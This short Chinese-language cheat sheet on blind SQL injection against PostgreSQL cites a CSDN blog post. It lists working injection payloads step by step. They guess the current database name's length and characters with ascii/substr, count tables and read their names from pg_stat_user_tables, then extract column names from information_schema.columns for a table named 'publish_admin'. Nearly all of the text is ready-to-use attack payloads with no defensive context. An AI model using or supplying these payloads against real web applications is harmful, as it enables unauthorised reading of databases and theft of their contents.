postgresql盲注

参考：
https://blog.csdn.net/p656456564545/article/details/42466633

先猜当前数据库的长度

and (select length(current_database())) between 0 and 30

ascii猜解库名的每个字符

and (select ascii(substr(current_database(),1,1))) between 0 and 32768

猜解数据库的表的个数

and (select count(*) from pg_stat_user_tables) between 20 and 20 

猜解库里的表名的长度

and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 19 and 19

猜解表名里面的每个字符

(select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 32768 

接下来猜解字段名即可，为：

and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+table_name= publish_admin +between+0+and+256